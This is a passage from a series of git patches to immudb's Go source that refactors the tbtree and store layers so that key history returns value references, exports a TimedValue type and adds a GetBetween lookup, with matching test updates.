leafValue.historyCount(), nil + return leafValue.key, cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -502,13 +502,13 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( copy(buf[bi:], v.key) bi += len(v.key) - binary.BigEndian.PutUint16(buf[bi:], uint16(len(timedValue.value))) + binary.BigEndian.PutUint16(buf[bi:], uint16(len(timedValue.Value))) bi += 2 - copy(buf[bi:], timedValue.value) - bi += len(timedValue.value) + copy(buf[bi:], timedValue.Value) + bi += len(timedValue.Value) - binary.BigEndian.PutUint64(buf[bi:], timedValue.ts) + binary.BigEndian.PutUint64(buf[bi:], timedValue.Ts) bi += 8 hOff := writeOpts.BaseHLogOffset @@ -522,11 +522,11 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( for _, tv := range v.timedValues[1:] { - binary.Write(hbuf, binary.BigEndian, uint16(len(tv.value))) + binary.Write(hbuf, binary.BigEndian, uint16(len(tv.Value))) - hbuf.Write(tv.value) + hbuf.Write(tv.Value) - binary.Write(hbuf, binary.BigEndian, uint64(tv.ts)) + binary.Write(hbuf, binary.BigEndian, uint64(tv.Ts)) } binary.Write(hbuf, binary.BigEndian, uint64(v.hOff)) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index de868a3f32..be4665a9cb 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -227,7 +227,7 @@ type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) - history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) + history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte ts() uint64 @@ -278,14 +278,14 @@ type nodeRef struct { type leafValue struct { key []byte - timedValues []timedValue + timedValues []TimedValue hOff int64 hCount uint64 } -type timedValue struct { - value []byte - ts uint64 +type TimedValue struct { + Value []byte + Ts uint64 } func Open(path string, opts *Options) (*TBtree, error) { @@ -917,7 +917,7 @@ func (t *TBtree) readLeafNodeFrom(r *appendable.Reader) (*leafNode, error) { leafValue := &leafValue{ key: key, - timedValues: []timedValue{{value: value, ts: ts}}, + timedValues: []TimedValue{{Value: value, Ts: ts}}, hOff: int64(hOff), hCount: hCount, } @@ -963,7 +963,7 @@ func (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte return t.root.getBetween(key, initialTs, finalTs) } -func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tvs []timedValue, hCount uint64, err error) { +func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tvs []TimedValue, hCount uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() @@ -1005,7 +1005,7 @@ func (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []b if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { currValue := leafValue.timedValue() - return leafValue.key, cp(currValue.value), currValue.ts, leafValue.historyCount(), nil + return leafValue.key, cp(currValue.Value), currValue.Ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -1953,7 +1953,7 @@ func (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (value []b return n.nodes[n.indexOf(key)].getBetween(key, initialTs, finalTs) } -func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) { +func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) { return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } @@ -2169,7 +2169,7 @@ func (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (value []byt return n.getBetween(key, initialTs, finalTs) } -func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) { +func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err @@ -2238,7 +2238,7 @@ func (l *leafNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { } for i, lv := range l.values { - timedValues := make([]timedValue, len(lv.timedValues)) + timedValues := make([]TimedValue, len(lv.timedValues)) copy(timedValues, lv.timedValues) newLeaf.values[i] = &leafValue{ @@ -2259,15 +2259,15 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err if found { lv := l.values[i] - if kvt.T < lv.timedValue().ts { + if kvt.T < lv.timedValue().Ts { // The validation can be done upfront at bulkInsert, // but postponing it could reduce resource requirements during the earlier stages, // resulting in higher performance due to concurrency. return nil, 0, fmt.Errorf("%w: attempt to insert a value without an older timestamp", ErrIllegalArguments) } - if kvt.T > lv.timedValue().ts { - lv.timedValues = append([]timedValue{{value: kvt.V, ts: kvt.T}}, lv.timedValues...) + if kvt.T > lv.timedValue().Ts { + lv.timedValues = append([]TimedValue{{Value: kvt.V, Ts: kvt.T}}, lv.timedValues...) } } else { values := make([]*leafValue, len(l.values)+1) @@ -2276,7 +2276,7 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err values[i] = &leafValue{ key: kvt.K, - timedValues: []timedValue{{value: kvt.V, ts: kvt.T}}, + timedValues: []TimedValue{{Value: kvt.V, Ts: kvt.T}}, } copy(values[i+1:], l.values[i:]) @@ -2304,7 +2304,7 @@ func (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err erro leafValue := l.values[i] timedValue := leafValue.timedValue() - return timedValue.value, timedValue.ts, leafValue.historyCount(), nil + return timedValue.Value, timedValue.Ts, leafValue.historyCount(), nil } func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { @@ -2319,7 +2319,7 @@ func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []by return leafValue.lastUpdateBetween(l.t.hLog, initialTs, finalTs) } -func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]timedValue, uint64, error) { +func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]TimedValue, uint64, error) { i, found := l.indexOf(key) if !found { @@ -2343,7 +2343,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]t timedValuesLen = int(hCount - offset) } - timedValues := make([]timedValue, timedValuesLen) + timedValues := make([]TimedValue, timedValuesLen) initAt := offset tssOff := 0 @@ -2399,9 +2399,9 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]t } if desc { - timedValues[tssOff] = timedValue{value: value, ts: ts} + timedValues[tssOff] = TimedValue{Value: value, Ts: ts} } else { - timedValues[timedValuesLen-1-tssOff] = timedValue{value: value, ts: ts} + timedValues[timedValuesLen-1-tssOff] = TimedValue{Value: value, Ts: ts} } tssOff++ @@ -2510,7 +2510,7 @@ func (l *leafNode) setTs(ts uint64) (node, error) { for i := 0; i < len(l.values); i++ { lv := l.values[i] - timedValues := make([]timedValue, len(lv.timedValues)) + timedValues := make([]TimedValue, len(lv.timedValues)) copy(timedValues, lv.timedValues) newLeaf.values[i] = &leafValue{ @@ -2537,7 +2537,7 @@ func (l *leafNode) size() (int, error) { size += 2 // Key length size += len(kv.key) // Key size += 2 // Value length - size += len(tv.value) // Value + size += len(tv.Value) // Value size += 8 // Ts size += 8 // hOff size += 8 // hCount @@ -2601,13 +2601,13 @@ func (l *leafNode) updateTs() { l._ts = 0 for i := 0; i < len(l.values); i++ { - if l._ts < l.values[i].timedValue().ts { - l._ts = l.values[i].timedValue().ts + if l._ts < l.values[i].timedValue().Ts { + l._ts = l.values[i].timedValue().Ts } } } -func (lv *leafValue) timedValue() timedValue { +func (lv *leafValue) timedValue() TimedValue { return lv.timedValues[0] } @@ -2616,7 +2616,7 @@ func (lv *leafValue) historyCount() uint64 { } func (lv *leafValue) size() int { - return 16 + len(lv.key) + len(lv.timedValue().value) + return 16 + len(lv.key) + len(lv.timedValue().Value) } func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { @@ -2625,12 +2625,12 @@ func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, fi } for i, tv := range lv.timedValues { - if tv.ts < initialTs { + if tv.Ts < initialTs { return nil, 0, 0, ErrKeyNotFound } - if tv.ts <= finalTs { - return tv.value, tv.ts, lv.historyCount() - uint64(i), nil + if tv.Ts <= finalTs { + return tv.Value, tv.Ts, lv.historyCount() - uint64(i), nil } } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 049c3f698a..11d5a35eee 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -503,7 +503,7 @@ func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { tvs, _, err := snapshot.History(k, 0, true, 1) require.NoError(t, err) - require.Equal(t, ts, tvs[0].ts) + require.Equal(t, ts, tvs[0].Ts) err = snapshot.Close() require.NoError(t, err) From baf4f83acda3fa303798121a47a16208e0620a01 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 3 Sep 2023 12:33:55 -0300 Subject: [PATCH 0755/1062] chore(embedded/tbtree): hcount serialization Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/snapshot.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 9a25ddd028..0c6326ca26 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -513,9 +513,7 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( hOff := writeOpts.BaseHLogOffset - hCount := v.historyCount() - - if hCount > 1 { + if len(v.timedValues) > 1 { hbuf := new(bytes.Buffer) binary.Write(hbuf, binary.BigEndian, uint32(len(v.timedValues)-1)) @@ -544,6 +542,8 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( binary.BigEndian.PutUint64(buf[bi:], uint64(hOff)) bi += 8 + hCount := v.historyCount() + binary.BigEndian.PutUint64(buf[bi:], hCount-1) bi += 8 From c422ac4f16149c0906a7d9b2506dfc16a1d0e7db Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 3 Sep 2023 12:43:39 -0300 Subject: [PATCH 0756/1062] chore(embedded/store): history returning value refs Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 17 +++++++++++++-- embedded/store/immustore_test.go | 18 +++++----------- embedded/store/indexer.go | 4 ++-- embedded/store/key_reader.go | 37 +++++++++++++++++++------------- 4 files changed, 44 insertions(+), 32 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 93cae46bb9..bdeeb899f9 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -986,7 +986,7 @@ func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters . return key, valRef, nil } -func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { +func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { @@ -996,7 +996,20 @@ func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int return nil, 0, err } - return indexer.History(key, offset, descOrder, limit) + timedValues, hCount, err := indexer.History(key, offset, descOrder, limit) + if err != nil { + return nil, 0, err + } + + for i, timedValue := range timedValues { + val, err := s.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value) + if err != nil { + return nil, 0, err + } + valRefs = append(valRefs, val) + } + + return valRefs, hCount, nil } func (s *ImmuStore) UseTimeFunc(timeFunc TimeFunc) error { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index a7dfe76c14..b23a61dec3 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1773,24 +1773,16 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) - txIDs, hCount, err := snap.History(k, 0, false, txCount) + valRefs, hCount, err := snap.History(k, 0, false, txCount) require.NoError(t, err) - require.EqualValues(t, snap.Ts(), len(txIDs)) + require.EqualValues(t, snap.Ts(), len(valRefs)) require.EqualValues(t, snap.Ts(), hCount) - for _, txID := range txIDs { + for _, valRef := range valRefs { v := make([]byte, 8) - binary.BigEndian.PutUint64(v, txID-1) + binary.BigEndian.PutUint64(v, valRef.Tx()-1) - tx := tempTxHolder(t, immuStore) - - err = immuStore.ReadTx(txID, false, tx) - require.NoError(t, err) - - entry, err := tx.EntryOf(k) - require.NoError(t, err) - - val, err := immuStore.ReadValue(entry) + val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, v, val) } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 3d161fa418..34c322a561 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -196,7 +196,7 @@ func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err err return idx.index.Get(key) } -func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { +func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []tbtree.TimedValue, hCount uint64, err error) { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -556,7 +556,7 @@ func (idx *indexer) indexSince(txID uint64) error { } // the previous entry as of txID must be deleted from the target index - prevTxID, _, err := sourceIndexer.index.GetBetween(sourceKey, 1, txID-1) + _, prevTxID, _, err := sourceIndexer.index.GetBetween(sourceKey, 1, txID-1) if err == nil { prevEntry, prevTxHdr, err := idx.store.ReadTxEntry(prevTxID, e.key(), false) if err != nil { diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index e11808958f..1fbf91058e 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -144,8 +144,26 @@ func (s *Snapshot) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters .. return key, valRef, nil } -func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { - return s.snap.History(key, offset, descOrder, limit) +func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) { + timedValues, hCount, err := s.snap.History(key, offset, descOrder, limit) + if err != nil { + return nil, 0, err + } + + for i, timedValue := range timedValues { + valRef, err := s.st.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value) + if err != nil { + return nil, 0, err + } + + if s.refInterceptor != nil { + valRef = s.refInterceptor(key, valRef) + } + + valRefs = append(valRefs, valRef) + } + + return valRefs, hCount, nil } func (s *Snapshot) Ts() uint64 { @@ -362,27 +380,16 @@ type storeKeyReader struct { func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { for { - key, ktxID, hc, err := r.reader.ReadBetween(initialTxID, finalTxID) + key, indexedVal, tx, hc, err := r.reader.ReadBetween(initialTxID, finalTxID) if err != nil { return nil, nil, err } - e, header, err := r.snap.st.ReadTxEntry(ktxID, key, false) + val, err = r.snap.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, nil, err } - val = &valueRef{ - tx: header.ID, - hc: hc, - hVal: e.hVal, - vOff: int64(e.vOff), - valLen: uint32(e.vLen), - txmd: header.Metadata, - kvmd: e.md, - st: r.snap.st, - } - valRef := r.refInterceptor(key, val) filterEntry := false From 07ec99077e570a2bbe0a7e9514a55c51c3696d6d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 3 Sep 2023 13:09:09 -0300 Subject: [PATCH 0757/1062] chore(embedded/sql): temporal queries with multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 9 +++++++-- embedded/sql/stmt.go | 3 +++ 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index c201055390..1be032ba9d 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5678,14 +5678,19 @@ func (h *multidbHandlerMock) ExecPreparedStmts( func TestSingleDBCatalogQueries(t *testing.T) { engine := setupCommonTest(t) + _, _, err := engine.Exec(context.Background(), nil, ` + CREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id); + + CREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id); + `, nil) + require.NoError(t, err) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, ` - CREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id); CREATE INDEX ON mytable1(title); - CREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id); CREATE INDEX ON mytable2(name); CREATE UNIQUE INDEX ON mytable2(name, active); `, nil) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index eb522b6fb3..99d47afb99 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -395,6 +395,9 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s // check table is empty pkPrefix := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)) _, _, err := tx.getWithPrefix(pkPrefix, nil) + if errors.Is(err, store.ErrIndexNotFound) { + return nil, ErrTableDoesNotExist + } if err == nil { return nil, ErrLimitedIndexCreation } else if !errors.Is(err, store.ErrKeyNotFound) { From 8ac6cb8c1ce0c6cd4a19ef0a98b997678a04cff3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 3 Sep 2023 14:55:18 -0300 Subject: [PATCH 0758/1062] chore(embedded/store): history with rev count Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 35 ++++++++++++++++------------------- embedded/store/immustore.go | 18 ++++++++++++++++-- embedded/store/key_reader.go | 4 +++- 3 files changed, 35 insertions(+), 22 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 107cbd752d..657520a458 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -990,34 +990,23 @@ func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID return nil, err } - txIDs, hCount, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) + valRefs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) if err != nil { return nil, err } - revision := offset + 1 - if desc { - revision = hCount - offset - } - results := make([]*protomodel.DocumentAtRevision, 0) - for _, txID := range txIDs { - docAtRevision, err := e.getDocumentAtTransaction(searchKey, txID, false) + for _, valRef := range valRefs { + docAtRevision, err := e.getDocument(searchKey, valRef, false) if err != nil { return nil, err } docAtRevision.DocumentId = docID.EncodeToHexString() - docAtRevision.Revision = revision + docAtRevision.Revision = valRef.HC() results = append(results, docAtRevision) - - if desc { - revision-- - } else { - revision++ - } } return results, nil @@ -1153,14 +1142,22 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec return searchKey, nil } -func (e *Engine) getDocumentAtTransaction( +func (e *Engine) getDocument( key []byte, - atTx uint64, + valRef store.ValueRef, skipIntegrityCheck bool, ) (docAtRevision *protomodel.DocumentAtRevision, err error) { - encDoc, err := e.getEncodedDocument(key, atTx, skipIntegrityCheck) + + encodedDocVal, err := valRef.Resolve() if err != nil { - return nil, err + return nil, mayTranslateError(err) + } + + encDoc := &EncodedDocument{ + TxID: valRef.Tx(), + Revision: valRef.HC(), + KVMetadata: valRef.KVMetadata(), + EncodedDocument: encodedDocVal, } if encDoc.KVMetadata != nil && encDoc.KVMetadata.Deleted() { diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index bdeeb899f9..dd3cc76382 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1001,12 +1001,26 @@ func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int return nil, 0, err } + valRefs = make([]ValueRef, len(timedValues)) + + rev := offset + 1 + if descOrder { + rev = hCount - offset + } + for i, timedValue := range timedValues { - val, err := s.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value) + val, err := s.valueRefFrom(timedValue.Ts, rev, timedValue.Value) if err != nil { return nil, 0, err } - valRefs = append(valRefs, val) + + valRefs[i] = val + + if descOrder { + rev-- + } else { + rev++ + } } return valRefs, hCount, nil diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 1fbf91058e..caff3bf1e8 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -150,6 +150,8 @@ func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) return nil, 0, err } + valRefs = make([]ValueRef, len(timedValues)) + for i, timedValue := range timedValues { valRef, err := s.st.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value) if err != nil { @@ -160,7 +162,7 @@ func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) valRef = s.refInterceptor(key, valRef) } - valRefs = append(valRefs, valRef) + valRefs[i] = valRef } return valRefs, hCount, nil From f1c0804cbd35b514e863a13f99a6441f0fb2db8c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 3 Sep 2023 20:16:53 -0300 Subject: [PATCH 0759/1062] chore(embedded/document): encoded document using valRef Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 74 +++++++++---------------------------- embedded/store/immustore.go | 18 ++++++++- embedded/tbtree/reader.go | 2 +- pkg/database/database.go | 34 +++++------------ 4 files changed, 44 insertions(+), 84 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 657520a458..f1e4280643 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -844,7 +844,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, return nil, err } - encDoc, err := e.getEncodedDocument(searchKey, 0, false) + encDoc, err := e.getEncodedDocument(searchKey, 0) if err != nil { return nil, err } @@ -964,7 +964,7 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, return 0, "", nil, err } - encodedDoc, err = e.getEncodedDocument(searchKey, txID, false) + encodedDoc, err = e.getEncodedDocument(searchKey, txID) if err != nil { return 0, "", nil, err } @@ -998,7 +998,7 @@ func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID results := make([]*protomodel.DocumentAtRevision, 0) for _, valRef := range valRefs { - docAtRevision, err := e.getDocument(searchKey, valRef, false) + docAtRevision, err := e.getDocument(searchKey, valRef) if err != nil { return nil, err } @@ -1142,12 +1142,7 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec return searchKey, nil } -func (e *Engine) getDocument( - key []byte, - valRef store.ValueRef, - skipIntegrityCheck bool, -) (docAtRevision *protomodel.DocumentAtRevision, err error) { - +func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision *protomodel.DocumentAtRevision, err error) { encodedDocVal, err := valRef.Resolve() if err != nil { return nil, mayTranslateError(err) @@ -1198,64 +1193,29 @@ func (e *Engine) getDocument( }, err } -func (e *Engine) getEncodedDocument( - key []byte, - atTx uint64, - skipIntegrityCheck bool, -) (encDoc *EncodedDocument, err error) { - - var txID uint64 - var encodedDoc []byte - var md *store.KVMetadata - var revision uint64 +func (e *Engine) getEncodedDocument(key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { + var valRef store.ValueRef - index := e.sqlEngine.GetStore() if atTx == 0 { - valRef, err := index.Get(key) - if err != nil { - return nil, mayTranslateError(err) - } - - txID = valRef.Tx() - - md = valRef.KVMetadata() - - encodedDoc, err = valRef.Resolve() - if err != nil { - return nil, mayTranslateError(err) - } - - // Revision can be calculated from the history count - revision = valRef.HC() + valRef, err = e.sqlEngine.GetStore().Get(key) } else { - txID = atTx - md, encodedDoc, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) - if err != nil { - return nil, err - } + valRef, err = e.sqlEngine.GetStore().GetBetween(key, atTx, atTx) } - - return &EncodedDocument{ - TxID: txID, - Revision: revision, - KVMetadata: md, - EncodedDocument: encodedDoc, - }, err -} - -func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { - store := e.sqlEngine.GetStore() - entry, _, err := store.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { - return nil, nil, err + return nil, mayTranslateError(err) } - v, err := store.ReadValue(entry) + encodedDoc, err := valRef.Resolve() if err != nil { - return nil, nil, err + return nil, mayTranslateError(err) } - return entry.Metadata(), v, nil + return &EncodedDocument{ + TxID: valRef.Tx(), + Revision: valRef.HC(), + KVMetadata: valRef.KVMetadata(), + EncodedDocument: encodedDoc, + }, err } // DeleteDocuments deletes documents matching the query diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index dd3cc76382..3813c09b16 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -906,6 +906,23 @@ func (s *ImmuStore) DeleteIndex(prefix []byte) error { return os.RemoveAll(indexer.path) } +func (s *ImmuStore) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (valRef ValueRef, err error) { + indexer, err := s.getIndexerFor(key) + if err != nil { + if errors.Is(err, ErrIndexNotFound) { + return nil, ErrKeyNotFound + } + return nil, err + } + + indexedVal, tx, hc, err := indexer.index.GetBetween(key, initialTxID, finalTxID) + if err != nil { + return nil, err + } + + return s.valueRefFrom(tx, hc, indexedVal) +} + func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } @@ -916,7 +933,6 @@ func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef Valu if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } - return nil, err } diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 4640fd6199..0b23dddc11 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -241,7 +241,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { continue } - return cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.hCount, nil + return cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil } } diff --git a/pkg/database/database.go b/pkg/database/database.go index b805d429d9..e7987c3870 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -579,7 +579,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool desc = true } - txs, hCount, err := d.st.History(key, offset, desc, 1) + valRefs, hCount, err := d.st.History(key, offset, desc, 1) if errors.Is(err, store.ErrNoMoreEntries) || errors.Is(err, store.ErrOffsetOutOfRange) { return nil, ErrInvalidRevision } @@ -591,7 +591,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool atRevision = int64(hCount) + atRevision } - entry, err = d.getAtTx(key, txs[0], 0, d.st, uint64(atRevision), skipIntegrityCheck) + entry, err = d.getAtTx(key, valRefs[0].Tx(), 0, d.st, uint64(atRevision), skipIntegrityCheck) if err != nil { return nil, err } @@ -1562,27 +1562,17 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E key := EncodeKey(req.Key) - txs, hCount, err := d.st.History(key, req.Offset, req.Desc, limit) + valRefs, hCount, err := d.st.History(key, req.Offset, req.Desc, limit) if err != nil && err != store.ErrOffsetOutOfRange { return nil, err } list := &schema.Entries{ - Entries: make([]*schema.Entry, len(txs)), + Entries: make([]*schema.Entry, len(valRefs)), } - revision := req.Offset + 1 - if req.Desc { - revision = hCount - req.Offset - } - - for i, txID := range txs { - entry, _, err := d.st.ReadTxEntry(txID, key, false) - if err != nil { - return nil, err - } - - val, err := d.st.ReadValue(entry) + for i, valRef := range valRefs { + val, err := valRef.Resolve() if err != nil && err != store.ErrExpiredEntry { return nil, err } @@ -1591,18 +1581,12 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E } list.Entries[i] = &schema.Entry{ - Tx: txID, + Tx: valRef.Tx(), Key: req.Key, - Metadata: schema.KVMetadataToProto(entry.Metadata()), + Metadata: schema.KVMetadataToProto(valRef.KVMetadata()), Value: val, Expired: errors.Is(err, store.ErrExpiredEntry), - Revision: revision, - } - - if req.Desc { - revision-- - } else { - revision++ + Revision: valRef.HC(), } } From 22c0162960f6a7d155f16d95c55d6f5714015239 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 09:35:47 -0300 Subject: [PATCH 0760/1062] feat(embedded/store): getBetween Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 5 +++++ embedded/store/key_reader.go | 18 ++++++++++++++++++ embedded/tbtree/snapshot.go | 16 ++++++++++++++++ 3 files changed, 39 insertions(+) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 3813c09b16..cbbfe7e790 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2131,6 +2131,7 @@ func (s 